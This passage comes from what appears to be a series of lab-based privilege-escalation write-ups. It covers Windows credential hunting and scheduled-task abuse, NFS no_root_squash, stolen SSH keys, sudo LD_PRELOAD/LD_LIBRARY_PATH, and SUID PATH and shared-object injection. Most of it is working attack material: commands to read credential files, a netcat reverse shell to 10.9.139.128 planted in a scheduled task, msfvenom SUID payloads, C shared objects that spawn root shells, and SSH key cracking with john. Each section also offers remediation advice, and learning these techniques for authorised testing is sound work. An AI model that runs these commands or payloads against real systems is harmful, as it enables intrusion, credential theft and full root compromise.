    • cd C: & dir /S /B SAM == SYSTEM == SAM.OLD == SYSTEM.OLD == SAM.BAK == SYSTEM.BAK

    Check permissions

    • icacls “C:WindowsSystem32ConfigRegback”

    Interesting locations

    • C:Windowssysprepsysprep.xml
    • C:Windowssysprepsysprep.inf
    • C:Windowssysprep.inf
    • C:WindowsPantherUnattended.xml
    • C:WindowsPantherUnattend.xml
    • C:WindowsPantherUnattendUnattend.xml
    • C:WindowsPantherUnattendUnattended.xml
    • C:WindowsSystem32Sysprepunattend.xml
    • C:WindowsSystem32Sysprepunattended.xml
    • C:unattend.txt
    • C:unattend.inf
    • VARIABLES.DAT
    • setupinfo
    • setupinfo.bak
    • web.config
    • SiteList.xml
    • .awscredentials
    • .azureaccessTokens.json
    • .azureazureProfile.json
    • gcloudcredentials.db
    • gcloudlegacy_credentials
    • gcloudaccess_tokens.db

    Chrome Password

    • gc ‘C:UsersuserAppDataLocalGoogleChromeUser DataDefaultCustom Dictionary.txt’ | Select-String password

    Unattended Windows Installations

    When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don’t require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:

    • C:Unattend.xml
    • C:WindowsPantherUnattend.xml
    • C:WindowsPantherUnattendUnattend.xml
    • C:Windowssystem32sysprep.inf
    • C:Windowssystem32sysprepsysprep.xml

    Powershell History

    Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe prompt:

    • type %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt
    • type C:UsersbobAppDataRoamingMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt
    • (Get-PSReadLineOption).HistorySavePath
    • gc (Get-PSReadLineOption).HistorySavePath
    • foreach($user in ((ls C:users).fullname)){cat “$userAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt” -ErrorAction SilentlyContinue}

    Note: The command above will only work from cmd.exe, as Powershell won’t recognize %userprofile% as an environment variable. To read the file from Powershell, you’d have to replace %userprofile% with $Env:userprofile

    Saved Windows Credentials

    Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:

    • cmdkey /list

    While you can’t see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.

    • runas /savecred /user:admin cmd.exe
    • runas /env /noprofile /savecred /user:DESKTOP-T3I4BBKadministrator “c:tempnc.exe 172.16.1.30 443 -e cmd.exe”

    IIS Configuration

    Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:

    • C:inetpubwwwrootweb.config
    • C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config

    Here is a quick way to find database connection strings on the file:

    • type C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config | findstr connectionString

    Retrieve Credentials from Software: PuTTY

    PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection’s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won’t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.

    To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:

    • reg query HKEY_CURRENT_USERSoftwareSimonTathamPuTTYSessions /f “Proxy” /s

    [Privilege Escalation] Windows Schedule Tasks: Weak Permissions

    we will be exploring vulnerable scheduled tasks; this time has to do with weak folder permissions.

    Enumerate Scheduled tasks

    1. Search for tasks

    • schtasks /query /fo LIST /v | findstr /B /C:”Folder” /C:”TaskName” /C:”Run As User” /C:”Schedule” /C:”Scheduled Task State” /C:”Schedule Type” /C:”Repeat: Every” /C:”Comment”
    • schtasks /query /fo LIST /v
    • schtasks /query /tn <TASKNAME> /fo list /v
    • schtasks /query /fo TABLE /nh | findstr /v /i “disable deshab”
    • schtasks /query /fo LIST 2>nul | findstr TaskName
    • schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep “SYSTEM\|Task To Run” | grep -B 1 SYSTEM

    Powershell

    • Get-ScheduledTask
    • Get-ScheduledTask | ft TaskName,TaskPath,State
    • Get-ScheduledTask | where {$_.TaskPath -notlike “\Microsoft*”} | ft TaskName,TaskPath,State

    “Task to Run” parameter which indicates what gets executed by the scheduled task

    “Run As User” parameter, which shows the user that will be used to execute the task.

    2. Check If our current user can modify or overwrite the “Task to Run” executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use icacls:

    • icacls c:\tasks\schtask.bat

    Note: As can be seen in the result, the BUILTIN\Users group has full access (F) over the task’s binary. This means we can modify the .bat file and insert any payload we like.

    The permissions we are looking for on the file/folder are any one of the following three permissions:

    • (F) Full Control
    • (M) Modify
    • (W) Write

    3. Interesting locations Start-Up folder

    • dir /b “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” 2>nul
    • dir /b “C:\Documents and Settings\%username%\Start Menu\Programs\Startup” 2>nul
    • dir /b “%programdata%\Microsoft\Windows\Start Menu\Programs\Startup” 2>nul
    • dir /b “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup” 2>nul
    • Get-ChildItem “C:\Users\All Users\Start Menu\Programs\Startup”
    • Get-ChildItem “C:\Users\$env:USERNAME\Start Menu\Programs\Startup”

    Exploitation (Weak Permissions) Reverse shell

    1. Knowing our user has rights to modify the program, we can transfer a netcat for windows program, and name the command with the permissions “Run as User” has. (https://github.com/int0x33/nc.exe/)

    • iwr http://10.9.139.128:9999/nc.exe -OutFile nc.exe

    2. Having the program in the target machine, we can proceed to create a new file that will execute instead, we have to name it the same as in the schedule task

    • echo C:\tasks\nc.exe -e cmd.exe 10.9.139.128 4444 > C:\tasks\schtask.bat

    Note: Make sure the file that will be executed, is in a directory that the scheduled task user can access and execute

    3. You have to wait for the tasks to execute. Check your listener in your local machine

    Detection

    • Tools such as Sysinternals Autoruns can detect system changes like showing presently scheduled jobs.
    • Tools like TCPView & Process Explore may help to identify remote connections for suspicious services or processes.
    • View Task Properties and History: To view a task’s properties and history by using a command line
    • Perform an audit scan to find out week or misconfiguration with the help of automated script using tools such as WinPeas, SharpUp, etc. Read more from here “Window Privilege Escalation: Automated Script”.
    • Make sure the scheduled task should not be run as SYSTEM.

    Reference

    https://www.hackingarticles.in/windows-privilege-escalation-scheduled-task-job-t1573-005/

    https://juggernaut-sec.com/scheduled-tasks/

    https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries

    [Privilege Escalation] NFS Squashing (no_root_squash/no_all_squash)

    NFS or “Network File Sharing” is a protocol that runs on port 2049 and consists of two components, the server and the client(s). Shared directories are created on the NFS server component so that they can be shared with other Linux clients over a network. Permitted users can add files to the share, which are then shared with other users who have access to the directory.

    What is NFS Squash?

    Network File System (NFS) Squashing, also known as Root Squashing, is a security feature implemented in NFS servers to restrict the privileges of remote users, especially the root user (uid 0), when accessing NFS-exported directories. When root squashing is enabled, the root user on the client system is mapped to an unprivileged user on the NFS server, typically ‘nobody’ or ‘nfsnobody.’

    The primary goal of NFS Squashing is to enhance security by preventing remote root users from having unrestricted access to NFS-exported file systems. Without squashing, a compromised or malicious remote root user could potentially modify or delete any file on the NFS server, posing significant security risks.

    • no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
    • no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.

    Vulnerabilities and Misconfigurations:

    1. Misconfiguration of NFS Export Options:

    • A common misconfiguration involves not enabling root squashing explicitly. If the NFS export options do not include ‘root_squash,’ the NFS server may allow remote root users to access and modify files with full root privileges.

    2. Insecure Network Configurations:

    • If NFS traffic is transmitted over an insecure network without proper encryption or authentication mechanisms, attackers could potentially intercept and manipulate NFS requests to exploit root squashing vulnerabilities.

    Identification

    1. Identify the NFS port

    • nmap 10.10.46.249

    2. Enumerate further

    • nmap -A -sV -sC -T4 10.10.46.249

    Note: So the port for NFS shares is 2049, but we are also very interested in port 111 because that is the rpc port that the NFS share will bind to. This output reveals the version of NSF also.

    3. Enumerate using Nmap scripts

    • nmap -p 111,2049 –script=nfs-* 10.10.46.249

    Note: the permissions on (., ..) RWX show we have full access. The NoExecute flag is also set, so we won’t be able to execute any binaries or scripts in the share.

    4. Identify the mount folders available

    • showmount -e 10.10.46.249
    • showmount –all 10.10.46.249

    Note: The * means all networks allowed

    Local enumeration

    1. Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.

    • cat /etc/exports

    • rw: This option gives the client computer both read and write access to the volume.
    • sync: This option forces NFS to write changes to disk before replying. This results in a more stable and consistent environment but reduces the speed of file operations.
    • inescure: This option allows clients to use any port to access NFS shares.
    • no_subtree_check: This option prevents subtree checking, which is a process where the host must check whether the file is actually still available in the exported tree for every request.
    • no_root_squash: This option allows privileged file writes inside the share. By default, NFS translates requests from a root user remotely into a non-privileged user on the server.

    LinPEAS

    1. LinPEAS can also alert us about NFS Squash

    • ./LinPEAS.sh

    Exploitation

    1.  create a mount point on your local machine and mount the share

    • mkdir /tmp/nfs
    • mount -o rw,vers=3 10.10.130.171:/tmp /tmp/nfs

    2. Verify the NFS partition was mounted

    • mount -t nfs
    • cd /tmp/nfs
    • ls -la

    3. Generate a payload, this time I’ll be using msfvenom, and save it to the mounted share (this payload simply calls /bin/bash), this file MUST have the owner as root

    • msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf

    4. make the file executable and set the SUID permission:

    • chmod +xs /tmp/nfs/shell.elf

    5. From the local session in the target machine run this file from the NFS shared folder, which inherited the permissions our local mahine’s root permissions, it will run it as the remote machine local root

    • cd /tmp
    • ls -l
    • ./shell.elf

    6. Verify which user ran this new shell

    • whoami && id

    Extra 1: Copying /bin/bash for a Root Shell

    1. Alternatively you could have copied /bin/bash from you local machine to NFS shared folder, and assign the sticky bit

    • cp /bin/bash /tmp/nfs
    • chmod +xs bash
    • ls -l

    2. Again, in the target machine, run the executable

    • ./bash -p
    • whoami && id

    Extra 2: Crafting an Exploit for a Root Shell

    1. To craft our custom exploit that will drop us into a root shell, we can use the following commands, to create a c file, compile it

    • echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash -p”); return 0; }’ > /mnt/share/root_shell.c
    • gcc ./root_shell.c -o ./root_shell
    • ls -l

    2. Assign proper permissions

    • chmod +s root_shell
    • ls -l

    3. Now run it from the remote machine session

    • whoami && id

    Port Forwarding the NFS Share

    1. When accessing the NFS share externally root_squash enabled and we cannot perform privileged file writes. However, we can access the file share from localhost 127.0.0.1/32, we can perform privileged file writes on the NFS server.

    Since we know the NFS share runs on port 2049, and we also know that the user has access to the system through SSH, then the easiest way to forward this port out to our attacker machine is by performing local port forwarding.

    • ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.9.139.128
    • ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.10.130.171 -oHostKeyAlgorithms=+ssh-rsa

    Note: This says… Do not execute any commands on the remote host (-N) and perform local port forwarding (-L). Bind port 2049 to 127.0.0.1 on our attacker machine from port 2049 running on 127.0.0.1 on the target machine. Lastly, we are logging in using juggernaut to perform this action for us.

    2. Seeing the prompt hang indicates that the port forwarding was successful; and when we open a new tab on our attacker machine and run the netstat -tulpn command, we should see port 2049 open locally.

    • netstat -tulpn

    3. With the NFS server open to us locally, we can mount it just like we did earlier except we just need to adjust the command to mount the share locally instead of externally, this will look something like this:

    • mount -t nfs -o port=2049 127.0.0.1:/tmp /tmp/nfs

    4. To confirm that we can perform privileged writes in the share, we can navigate to the mounting point on our attacker machine and create a test file, just the same as we did when we mounted the share the first time.

    • touch file.txt
    • ls -l

    Note: The permissions should be the ones from the attacker machine. This means we can either create a malicious binary or do something a bit more simple like… copy /bin/bash into the share, set root:root ownership and SUID permissions on it, and then SSH back into the victim and execute it with user to elevate our privileges to root!

    Remediation Steps:

    1. Enable Root Squashing:

    • Always enable root squashing on NFS servers to ensure that remote root users are mapped to unprivileged users.

    2. Secure Network Configurations:

    • Use secure network configurations, such as encrypting NFS traffic with technologies like IPsec or configuring NFS over a Virtual Private Network (VPN).

    3. Regular Auditing and Monitoring:

    • Implement regular audits and monitoring of NFS server logs to detect any unauthorized access or suspicious activities.

    4. Limit Access:

    • Restrict access to NFS exports by specifying specific IP addresses or networks that are allowed to mount the file systems.

    5. Keep Software Updated:

    • Ensure that both the NFS server and client software are kept up to date with the latest security patches to mitigate known vulnerabilities.

    6. Use NFSv4:

    • Consider using NFS version 4, which includes improved security features compared to older versions.

    Sources

    https://juggernaut-sec.com/nfs-no_root_squash/

    https://book.hacktricks.xyz/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

    https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md

    [Privilege Escalation] SSH Keys

    SSH keys explained - DEV Community

    SSH keys, or Secure Shell keys, are cryptographic keys used for secure communication over an unsecured network. They provide a secure method for authentication between a client and a server, allowing users to access and manage remote systems securely.

    Security Risks:

    Key Theft:

    • If an unauthorized person gains access to your private SSH key, they can impersonate you and gain unauthorized access to systems you have access to.

    Weak Key Generation:

    • Poorly generated keys may be susceptible to brute-force attacks. It’s crucial to use a strong, random key generation process.

    Key Spoofing:

    • Attackers might attempt to intercept or manipulate the communication to present a false public key, leading to potential security breaches.

    Unauthorized Key Access:

    • If an attacker gains access to an authorized user’s public key, they can add it to their own authorized_keys file and gain access to systems.

    Key Exposure:

    • Storing private keys on insecure devices or sharing them improperly increases the risk of exposure.

    Example of User & key creation

    User Creation

    1. Use the following command to add a new user (replace username with the desired username):

    • sudo useradd -m user1

    The -m option ensures that a home directory is created for the user.

    2. Set a password for the new user:

    • sudo passwd user1

    Follow the prompts to enter and confirm the password.

    RSA SSH keys creation

    1. Now, you can add an RSA SSH certificate for the user. You can do this by creating a .ssh directory in the user’s home directory and adding an authorized_keys file to it.

    • mkdir -p /home/user1/.ssh
    • touch /home/user1/.ssh/authorized_keys

    2. Set the appropriate permissions for the .ssh directory and the authorized_keys file:

    • chmod 700 /home/user1/.ssh
    • chmod 600 /home/user1/.ssh/authorized_keys
    • (OPTIONAL) chown -R username:username /home/username/.ssh

    3. Generate the key pair. This command will create a new RSA key pair (private and public keys) in the default location (~/.ssh/id_rsa for the private key and ~/.ssh/id_rsa.pub for the public key).

    • ssh-keygen -t rsa -b 2048

    4. Add this keys, to the authorized_keys file

    • ssh-copy-id username@hostname
    • ssh-copy-id user1@Vk9-Security

    Identifying keys

    1. You can search for files that are readable, and contain the word “PRIVATE KEY”, then list the file. You can set up the starting point where you want

    • find / -type f -readable -exec grep -q “PRIVATE KEY” {} \; -exec sh -c ‘ls -l “$1″‘ sh {} \; 2> /dev/null
    • find /home -type f -readable -exec grep -q “PRIVATE KEY” {} \; -exec sh -c ‘ls -l “$1″‘ sh {} \; 2> /dev/null

    LinPEAS

    1. You can also, find some keys that can be read in .ssh files

    • ./LinPEAS.sh

    Exploiting READ permission (Without password)

    1. Sometimes users make backups of important files but fail to secure them with the correct permissions, or even, the original files were not secured properly, allowing other users to read the contents of SSH keys.

    • cat root_key

    2. You can copy the contents of this file into your computer, and assign the permissions 600 using chmod command

    • vi id_rsa
    • chmod 600 id_rsa
    • ls -l
    • cat id_rsa

    3. Using file we can make sure if this a private key, also the line “BEGIN RSA PRIVATE KEY” says it all

    • file id_rsa

    4. (OPTIONAL) This key seems to be encoded in base64 format, so we try to decoded, sometimes we can find the user this key belongs to

    • echo “””<key>””” | base64 -d

    Note: This screenshot is from another example

    5. Now, Knowing the user this belongs to, we can try to use this key to authenticate

    • ssh -i id_rsa root@10.10.130.8
    • ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.130.8

    Note: I had to use (-oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa) because this server was not accepting the authentication offer

    Exploiting READ permission (password protected)

    1. Same steps a before, just when you try to use the certificate, SSH will ask for the private key password, which we don’t know

    • ssh user1@127.0.0.1 -i id_rsa

    2. We need to crack the private key password, for this we can use ssh2john, to prepare the file to be cracked by john

    • ssh2john id_rsa > new_id_rsa
    • cat new_id_rsa

    3. Now using john, we can crack the password

    • john –wordlist=/usr/share/wordlists/rockyou.txt new_id_rsa

    Note: So here we have our password

    4. Now we can try this password when SSH asks for the key pass phrase

    • ssh user1@127.0.0.1 -i id_rsa

    5. (OPTIONAL) Doing again the decode with base64 string we can have an idea of what type of encryption is used

    • echo “””<key>””” | base64 -d

    Recommendations

    Key Management:

    • Regularly audit and manage SSH keys. Remove unused or unnecessary keys from authorized_keys files.

    Strong Key Generation:

    • Use robust, industry-standard algorithms like RSA or ECDSA and ensure sufficiently long key lengths.

    Passphrase Protection:

    • Assign passphrases to private keys to add an extra layer of security. This passphrase encrypts the private key and must be entered before the key can be used.

    Key Rotation:

    • Periodically rotate SSH keys, especially if someone with access leaves the team or if there’s a suspicion of compromise.

    Limiting Key Access:

    • Restrict the use of keys to specific IP addresses, commands, or users through the SSH configuration.

    Multi-Factor Authentication (MFA):

    • Combine SSH key authentication with MFA to add an extra layer of security.

    Secure Storage:

    • Store private keys securely, using hardware tokens or encrypted containers.

    Regular Audits:

    • Conduct regular security audits to identify and rectify any vulnerabilities.

    Monitoring:

    • Implement logging and monitoring to detect and respond to suspicious activities.

    [Privilege Escalation] Sudo – Environment Variables

    The sudo command in Unix-based systems allows specified users to execute commands as another user, typically the superuser (root). When used incorrectly or in conjunction with environment variables like LD_PRELOAD and LD_LIBRARY_PATH, it can introduce security vulnerabilities.

    Environment Variables and sudo Vulnerabilities:

    LD_PRELOAD: This variable specifies a list of additional dynamic libraries to be loaded before all others. It can be exploited to load a shared library into the memory space of the running process, potentially altering its behavior.

    • Manipulating LD_PRELOAD to load a malicious library before the standard libraries, allowing for code injection or alteration of program behavior.

    LD_LIBRARY_PATH: It defines a search path for shared libraries. If manipulated, it can force the system to load malicious libraries from unintended locations.

    • Modifying LD_LIBRARY_PATH to load unauthorized or malicious libraries before the legitimate ones, enabling unauthorized code execution.

    LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

    Example of a misconfigured sudoers

    • sudo -l

    Explanation

    env_reset: This option resets the environment to a default, secure state before executing a command using sudo. It clears the environment variables that might pose a security risk or influence command behavior in an unintended way.

    env_keep+=LD_PRELOAD: This part instructs sudo to preserve the LD_PRELOAD environment variable from being reset. The += means to add to the list of preserved variables. LD_PRELOAD allows the preloading of shared libraries before other libraries, which could potentially be exploited for malicious purposes. By keeping this variable, it remains unchanged when sudo resets the rest of the environment.

    env_keep+=LD_LIBRARY_PATH: Similar to LD_PRELOAD, this line also tells sudo to preserve the LD_LIBRARY_PATH environment variable. LD_LIBRARY_PATH specifies additional paths to search for shared libraries. Preserving it could be useful in certain scenarios where specific libraries need to be located.

    This is how a default sudoers looks like

    Identification

    1. To identify if LD_PRELOAD or LD_LIBRARY_PATH have been enabled, we can run

    • sudo -l

    Note: We can also read /etc/sudoers, but that is usually restricted

    LinPEAS

    1. Using LinPEAS.sh we can enumerate sudo -l as well (https://github.com/carlospolop/PEASS-ng/tree/master)

    • ./LinPEAS.sh

    Exploitation: LD_PRELOAD

    1. When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded.

    2. Create a new shared object

    • cd tmp
    • vi preload.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
    }

    3. Compile the code

    • gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
    • ls -l preload*

    3. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object( sudo LD_PRELOAD=/tmp/preload.so program-name-here)

    • sudo -l
    • sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
    • whoami && id

    4. Now you are root!

    Exploitation: LD_LIBRARY_PATH

    1. The LD_LIBRARY_PATH contains a list of directories which search for shared libraries first. You must test each of the shared libraries to know which one is vulnerable

    • sudo -l
    • ldd /usr/sbin/iftop

    2. Use one of the shared objects in the list and we will hijack it by creating a file with same name. For this demonstration, we will be targeting the libpthread.so.0 (/lib/libpthread.so.0) file.

    • vi library_path.c
    • cat library_path.c
    #include <stdio.h>
    #include <stdlib.h>
    static void hijack() __attribute__((constructor));
    
    void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
    }

    3. Create a shared object with the same name as one of the listed libraries

    • gcc -o /tmp/libpthread.so.0 -shared -fPIC /tmp/library_path.c
    • ls -l lib*

    4. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_LIBRARY_PATH environment variable to the full path of the new shared object( sudo LD_LIBRARY_PATH=/tmp/libgdbm.so.3 program-name-here)

    • sudo LD_LIBRARY_PATH=/tmp /usr/sbin/iftop
    • whoami && id

    5. Now you are root!

    Extra

    1. Try renaming /tmp/libgdbm.so.3 to the name of another library used by the program and re-run it using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.

    Remediation

    • Restrict Environment Variables: Within the sudo configuration, limit or explicitly deny the preservation of critical environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
    • Use Defaults: Set the env_reset option in the sudoers file to reset the environment to a default state, clearing potentially dangerous variables.
    • Whitelist Approved Paths: If necessary, specify approved paths within the sudoers file where LD_LIBRARY_PATH can be used.
    • Update sudo Configuration: Regularly review and update the sudo configuration to reflect the least privilege principle and remove unnecessary permissions.

    [Privilege Escalation] SUID / SGID Executables – Environment Variables

    SUID (Set User ID) and SGID (Set Group ID) are permissions in Unix-based systems that allow users to execute a file with the permissions of the file owner or group, respectively. When these permissions are set on executables and combined with environment variables, it can lead to potential security vulnerabilities if not managed properly.

    Environment variables, like PATH, LD_LIBRARY_PATH, or PYTHONPATH, can be manipulated by attackers to potentially influence the behavior of SUID/SGID executables. If an SUID/SGID binary relies on environment variables to locate libraries, binaries, or configurations, an attacker can manipulate these variables to control the behavior of the executable.

    If a program is attempting to execute programs without specifying an absolute path, we could modify the $PATH variables, to direct the program to our own script or binary.

    Identification

    SUID

    1. To hunt for all SUID binaries on the system

    • find / -type f -perm -4000 2>/dev/null
    • find / -type f -perm -u=s 2>/dev/null

    SGID

    1. You can also search for specific user SUID

    • find / -type f -perm -4000 -user root -ls 2>/dev/null
    • find / -type f -perm -u=s -user root -ls 2>/dev/null

    Extra

    1. You can search for both at the same time

    • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
    • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

    LinPEAS

    1. Using LinPEAS.sh we can enumerate SUID and SGID

    • Transfer the script into the target machine
    • Run it: ./LinPEAS.sh

    suid3num

    1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

    • Python2.6 suid3enum.py

    Exploitation #1

    1. In our case, we see some interesting SUID/SGID set files. I will test suid-env against this vulnerability. We can review this code, to try to find any program being called without specifying the absolute path

    • strings /usr/local/bin/suid-env

    Note: In our case, we found this program trying to execute apache2, One line (“service apache2 start”) suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

    2. Create a code that spawns a shell, in any writable directory, and call it as service, then compile it

    int main() {
        setuid(0);
        system("/bin/bash -p");
    }

    • vi service.c
    • cat service.c
    • gcc -o service service.c
    • ls -l service*

    3. Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell

    • echo $PATH
    • pwd
    • export PATH=/home/user:$PATH
    • cat $PATH

    Note: You can also run, not to change the environment variable

    • PATH=.:$PATH /usr/local/bin/suid-env

    4. Execute the program, you should have a new shell as root

    • /usr/local/bin/suid-env
    • whoami && id

    Exploitation #2 (absolute path)

    1. The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

    • strings /usr/local/bin/suid-env2

    2. In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

    • /bin/bash –version

    3. Create a Bash function with the name “/usr/sbin/service” that executes a new Bash shell (using -p so permissions are preserved) and export the function, then run the program

    • function /usr/sbin/service { /bin/bash -p; }
    • export -f /usr/sbin/service
    • /usr/local/bin/suid-env2
    • Whoami && id

    Exploitation #3

    1. This will not work on Bash versions 4.4 and above. When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

    • /bin/bash –version

    2. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

    • env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2

    Note: this command will copy /bin/bash as root, copy it to /tmp as rootbash, and then, set it as sticky bit

    3. Now make sure the rootbash file was created, and then run it

    • ls -l /tmp
    • /tmp/rootbash
    • whoami && id

    Recommendations

    • Limit Environment Variable Usage: Minimize the reliance of SUID/SGID executables on environment variables whenever possible.
    • Hardcode Paths: Instead of relying on environmental variables, specify full paths to necessary binaries, libraries, and configurations within the code of the executable.
    • Restricted Environment: Implement a restricted environment for the execution of SUID/SGID executables to control and sanitize the environment variables available to them.
    • Code Review: Analyze the code of SUID/SGID executables to understand their reliance on environment variables.
    • Static Analysis Tools: Use tools that scan code for potential vulnerabilities related to environment variables.
    • Runtime Monitoring: Monitor the behavior of SUID/SGID executables for any unexpected or unauthorized actions.

    [Privilege Escalation] SUID / SGID Executables – Shared Object Injection

    UID (Set User ID) and SGID (Set Group ID) are permission bits in Unix-based systems that allow users to execute a program with the permissions of the file owner or group respectively. When these permissions are set on executable files, it can lead to potential security vulnerabilities if not managed properly.

    Shared Object Injection is a type of attack where an attacker exploits SUID/SGID executables by injecting malicious code into shared libraries or altering the search path for libraries. This allows the attacker to execute unauthorized commands with elevated privileges, posing a significant security risk.

    Once a program is executed, it will seek to load the necessary shared objects. We can use a program called strace to track the shared objects that being called. If a shared object were not found, we can hijack it and write a malicious script to spawn a root shell when it is loaded.

    Identification

    SUID

    1. To hunt for all SUID binaries on the system

    • find / -type f -perm -4000 2>/dev/null
    • find / -type f -perm -u=s 2>/dev/null

    SGID

    1. You can also search for specific user SUID

    • find / -type f -perm -4000 -user root -ls 2>/dev/null
    • find / -type f -perm -u=s -user root -ls 2>/dev/null

    Extra

    1. You can search for both at the same time

    • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
    • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

    LinPEAS

    1. Using LinPEAS.sh we can enumerate SUID and SGID

    • Transfer the script into the target machine
    • Run it: ./LinPEAS.sh

    suid3num

    1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

    • Python2.6 suid3enum.py

    Exploitation

    1. Run the strace and you’ll notice the last shared object that is not found and located at /home/user which is the folder we can write to. ( open(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) )

    • strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”

    Note: if the directory doesn’t exist in the path just create it, to replicate the same exact path.

    2. Create a file named libcalc.c, as the strace output shows, with the contents

    #include <stdio.h>
    #include <stdlib.h>
    
    static void inject() __attribute__((constructor));
    
    void inject() {
        setuid(0);
        system("/bin/bash -p");
    }

    Note, this script will run a new shell as the owner of the SUID file

    3. Compile it and the output should be the same file name (shared object) that is being called by the SUID.

    • gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c

    4. (Optional) Run strace again, and, see that now the dependency is found (you may need to kill the process with CTLR+C)

    • strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”

    5. Now, run the SUID program, and see what happens

    • /usr/local/bin/suid-so
    • whoami && id

    Recommendations

    • Reduce Privilege: Minimize the use of SUID/SGID permissions. Only set them when absolutely necessary.
    • Regular Updates: Keep software and system libraries updated to patch known vulnerabilities.
    • Use Capabilities Instead: Consider using Linux capabilities to grant specific privileges to processes rather than using SUID/SGID where possible.
    • Secure Coding Practices: Develop secure code and review it regularly to avoid vulnerabilities.
    • Least Privilege Principle: Limit the use of SUID/SGID permissions. Only assign these permissions when there’s a clear need.
    • Regular Security Audits: Conduct periodic audits to identify and rectify vulnerabilities.
    • Access Controls: Implement strong access controls and user permissions to limit the impact of any potential breach.
    • Monitoring and Alert Systems: Employ systems to monitor unusual behavior and set up alerts for any unauthorized access attempts.
    • Network Segmentation: Isolate critical systems to minimize the impact of a potential breach.

    [Privilege Escalation] SUID / SGID Executables – Known Exploits

